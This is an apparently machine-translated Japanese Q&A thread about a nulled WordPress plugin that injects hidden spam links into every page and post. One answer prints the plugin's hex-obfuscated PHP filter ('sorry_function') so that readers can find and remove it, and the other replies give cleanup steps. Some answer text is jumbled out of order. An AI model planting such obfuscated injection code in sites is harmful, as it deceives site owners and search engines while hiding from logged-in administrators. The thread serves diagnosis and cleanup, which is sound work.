2017-03-20 3 views
2

昨日私はbuddypress登録ページに「利用規約」チェックボックスを表示させるためにいくつかの古いプラグイン(私の悪い)をインストールしていたので、すべてのページと投稿が開始時と終了時に望ましくないテキストを表示し始めました。
これらのプラグインはすべて削除しましたが、まだメッセージが届いています。私はwordfence、sucuriなどのようないくつかのマルウェアスキャナを試しましたが、すべて私のウェブサイトはきれいだと言われています。私は今オプションがありません。私のサイトからそれを取り除くのを助けてください。ページですべてのページと投稿に悪意のあるテキストが表示されます。どのように私はそれを取り除くのですか?

開始し、このコードが表示されます。このコードが表示されたページの終了前に

<div style="position:absolute;top:0;left:-9999px;">Want create site? Find <a href="http://dlwordpress.com/">Free WordPress Themes</a> and plugins.</div>` 

<div style="position:absolute;top:0;left:-9999px;">Did you find apk for android? You can find new <a href="https://dlandroid24.com/">Free Android Games</a> and apps.</div> 

は、あなたが見ることができるように、理由は上記のコードでleft:-9999px;のテキストは正常に表示されませんが、検索エンジンの結果やソーシャルシェアには表示されています。

答えて

0

カスタムテーマを使用していない場合は、現在のテーマを削除してから(バックアップを取った後)元のソースから再インストールしてみてください。プラグインがテーマテンプレートにコードを追加した可能性があります。 あなたのウェブサイトへのリンクを共有できますか?

5

問題は、dlwordpress.comからダウンロードしたプラグインによるものです。 一般に、コードはプラグインのメインファイルに追加され、16進コードでマスクされます。

if(! function_exists('sorry_function')){ 
function sorry_function($content) { 
if (is_user_logged_in()){return $content;} else {if(is_page()||is_single()){ 
    $vNd25 = "\74\144\151\x76\40\163\x74\x79\154\145\x3d\42\x70\157\x73\151\164\x69\x6f\x6e\72\141\x62\x73\x6f\154\165\164\145\73\164\157\160\x3a\60\73\154\145\146\x74\72\55\71\71\x39\71\x70\170\73\42\x3e\x57\x61\x6e\x74\40\x63\162\145\x61\x74\x65\40\163\151\164\x65\x3f\x20\x46\x69\x6e\x64\40\x3c\x61\x20\x68\x72\145\146\75\x22\x68\x74\164\x70\72\x2f\57\x64\x6c\x77\x6f\162\144\x70\x72\x65\163\163\x2e\x63\x6f\x6d\57\42\76\x46\x72\145\145\40\x57\x6f\x72\x64\x50\162\x65\163\x73\x20\124\x68\x65\155\145\x73\x3c\57\x61\76\40\x61\x6e\144\x20\x70\x6c\165\147\x69\156\x73\x2e\x3c\57\144\151\166\76"; 
    $zoyBE = "\74\x64\x69\x76\x20\x73\x74\171\154\145\x3d\x22\x70\157\163\x69\x74\x69\x6f\156\x3a\141\142\163\x6f\154\x75\164\x65\x3b\x74\157\160\72\x30\73\x6c\x65\x66\164\72\x2d\x39\71\71\x39\x70\x78\73\42\x3e\104\x69\x64\x20\x79\x6f\165\40\x66\x69\156\x64\40\141\x70\153\40\146\157\162\x20\x61\156\144\162\x6f\151\144\77\40\x59\x6f\x75\x20\x63\x61\156\x20\146\x69\x6e\x64\40\156\145\167\40\74\141\40\150\162\145\146\x3d\x22\150\x74\x74\160\163\72\57\x2f\x64\154\x61\156\x64\x72\157\151\x64\62\x34\56\x63\x6f\155\x2f\42\x3e\x46\x72\145\x65\40\x41\x6e\x64\x72\157\151\144\40\107\141\x6d\145\x73\74\x2f\x61\76\40\x61\156\x64\x20\x61\160\x70\163\x2e\74\x2f\x64\x69\x76\76"; 
    $fullcontent = $vNd25 . $content . $zoyBE; } else { $fullcontent = $content; } return $fullcontent; }} 
    add_filter('the_content', 'sorry_function');} 

プラグを削除するか、このコードは、あなたがnullのプラグインを使用しているため、単純にするには以下のコードを挿入表示されている

+0

削除して削除していただきありがとうございます。これとは別に、私のテーマファイルにいくつかの他のコードスニペットを注入しました。これに加えて、class.wp.phpという名前の全く新しいファイルもありました。 'wordfence'プラグインの助けを借りて、私は余分なコードを削除してファイルを削除し、すべて正常に戻っています。 – Rag

0

がある場合に任意のPHPファイル内のコードのこの部分を削除: これはコードですテンプレート内のcustom.css:コンソールからsudo grep -r sorry_function *

div[style="position:absolute;top:0;left:-9999px;"]{ 
display: none !important; 
} 
+0

これは非常に厄介な修正だと思います.. –

2

まず検索とthefileの名前を取得します。その後、sorry_function() ftpクライアントを使用して

関連する問題